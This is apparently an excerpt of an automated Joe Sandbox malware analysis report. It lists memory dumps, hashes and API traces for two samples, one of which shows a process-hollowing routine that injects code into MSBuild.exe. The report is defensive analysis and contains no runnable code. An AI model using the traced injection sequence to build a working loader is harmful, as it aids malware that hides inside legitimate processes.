Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$AcquireConcurrency::details::Concurrency::details::_Lock::_ManagerManager::Reentrant
String ID: p[f
API String ID: 3303180142-1445917104
Opcode ID: 9291cd759091d82712fd325a3bbe747d1d471f15a827089157b07f433e582ef8
Instruction ID: f1680bf40688633cf9a106ceb1e9012d7b1eec71b112d69fecbf4b0a50c49255
Opcode Fuzzy Hash: 9291cd759091d82712fd325a3bbe747d1d471f15a827089157b07f433e582ef8
Instruction Fuzzy Hash: 3801B570A05A259EEB50ABF8766239D66E36F08310F64045EE405EB383CE708E418F5A

Function 0061CAD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

CreateSemaphoreExW.KERNEL32(?,006265E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 0061CAFC
CreateSemaphoreW.KERNEL32(?,006265E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 0061CB1E

Strings

eb, xrefs: 0061CB12, 0061CAF0

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSemaphore
String ID: eb
API String ID: 1078844751-1594297098
Opcode ID: 22e090364e6c441b886e1191c3ad658ef8d899e3d809a1dd0044fb1134040d97
Instruction ID: 826e71bfd1f35bc8303ea30f2cceeac258500a0907a0ceb62274516290253dfe
Opcode Fuzzy Hash: 22e090364e6c441b886e1191c3ad658ef8d899e3d809a1dd0044fb1134040d97
Instruction Fuzzy Hash: 7CF0B736545129ABCF129F50EC158DE7F67FB08761B085015FD0596230C772D961EF90

Function 0062B92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 0062B94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0062B961

Strings

pContext, xrefs: 0062B959

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: 61c627b6c3d3ac1293f14b544774d63a5a7cde0213e6086d2ead5b37232721fa
Instruction ID: dfcea0e2a2d217ac5fff9c4782f0ed54407eb62bea452194c90d580ddd26d944
Opcode Fuzzy Hash: 61c627b6c3d3ac1293f14b544774d63a5a7cde0213e6086d2ead5b37232721fa
Instruction Fuzzy Hash: A2E06839B002146BCF04F764E849C9DF77B9EC4721F044019EA12A3380EB71EA44CAD4

Function 006234CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 006234FC

Strings

pScheduler, xrefs: 006234F4
version, xrefs: 006234E1

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: 896c60cef01d728b7a8961bc32eb96f8ae6a0c1ad8c3de448a5f9d6da84588de
Instruction ID: 8bf7a2855f249c5c411955e9d6e842c222b82454c291fb66c871ff58bd0095e6
Opcode Fuzzy Hash: 896c60cef01d728b7a8961bc32eb96f8ae6a0c1ad8c3de448a5f9d6da84588de
Instruction Fuzzy Hash: 46E08634940728B6CF26FA54E847BDC77AA9B1474AF04C155BC11152919BF997CCCE81

Analysis Process: d2cb36d600.exePID: 2508, Parent PID: 6840COMMON

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	0.6%
Signature Coverage:	0.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	22

Executed Functions

Function 0094519E Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00945110,00945100), ref: 00945334
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00945347
Wow64GetThreadContext.KERNEL32(000000E0,00000000), ref: 00945365
ReadProcessMemory.KERNELBASE(000000D0,?,00945154,00000004,00000000), ref: 00945389
VirtualAllocEx.KERNELBASE(000000D0,?,?,00003000,00000040), ref: 009453B4
TerminateProcess.KERNELBASE(000000D0,00000000), ref: 009453D3
WriteProcessMemory.KERNELBASE(000000D0,00000000,?,?,00000000,?), ref: 0094540C
WriteProcessMemory.KERNELBASE(000000D0,00400000,?,?,00000000,?,00000028), ref: 00945457
WriteProcessMemory.KERNELBASE(000000D0,?,?,00000004,00000000), ref: 00945495
Wow64SetThreadContext.KERNEL32(000000E0,00880000), ref: 009454D1
ResumeThread.KERNELBASE(000000E0), ref: 009454E0

Strings

SetThreadContext, xrefs: 009452C2
ress, xrefs: 00945226
VirtualAlloc, xrefs: 00945263
GetThreadContext, xrefs: 00945276
ResumeThread, xrefs: 009452D8
aryA, xrefs: 009451E2
CreateProcessW, xrefs: 00945250
Load, xrefs: 009451DA
ReadProcessMemory, xrefs: 00945289
TerminateProcess, xrefs: 009453C3
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 00945333
WriteProcessMemory, xrefs: 009452AF
VirtualAllocEx, xrefs: 0094529C
GetP, xrefs: 0094521E

Memory Dump Source

Source File: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2440066154-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: 52851a5134faa04feb1aa533d4a029f2076b26960463db7bf17ba0bf86b866a1
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: 9DB1F97260064AAFDB60CFA8CC80FDA73A5FF88714F158514EA08AB341D774FA51CB94

Function 00921614 Relevance: 9.2, APIs: 6, Instructions: 171
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00921098: _strlen.LIBCMT ref: 009210F9

CreateFileA.KERNELBASE ref: 00921675
GetFileSize.KERNEL32(00000000,00000000), ref: 00921685
ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 009216AB
CloseHandle.KERNELBASE(00000000), ref: 009216BA
_strlen.LIBCMT ref: 00921705
CloseHandle.KERNEL32(00000000), ref: 00921805

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: File$CloseHandle_strlen$CreateReadSize
String ID:
API String ID: 2911764282-0
Opcode ID: ef6ec7b7b76acf09282e5ebacfaf9a85655b84a2a5a34c5606db226ff2d1a4cd
Instruction ID: d259d71634b976b736783cd680c346b4ee3e66a8a4e6b2aebd759af3e0aa2ece
Opcode Fuzzy Hash: ef6ec7b7b76acf09282e5ebacfaf9a85655b84a2a5a34c5606db226ff2d1a4cd
Instruction Fuzzy Hash: 7751F0B59083519BC700EF24EC84B2EBBE9FFE9304F154A2DF48997251E73499948B52

Function 0092123B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL(00000000,00000000,00000000), ref: 009212C7

Strings

[+], xrefs: 009212E1
Fju, xrefs: 009212C7

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID: [+]$Fju
API String ID: 6842923-117220630
Opcode ID: 2a9e55c548933d6f45b8950f2d44555470c28d0358fac2ed3b5da837e715090e
Instruction ID: 1b2dcae93dd94c63b829bd01fb980b0362fe1cb9cba6df4039d22f664e3cc5b3
Opcode Fuzzy Hash: 2a9e55c548933d6f45b8950f2d44555470c28d0358fac2ed3b5da837e715090e
Instruction Fuzzy Hash: AB31273150C3D04BD726AB3478997EBBBD4ABFE318F18097DD8D987247C1605445C762

Function 0092155C Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00921098: _strlen.LIBCMT ref: 009210F9

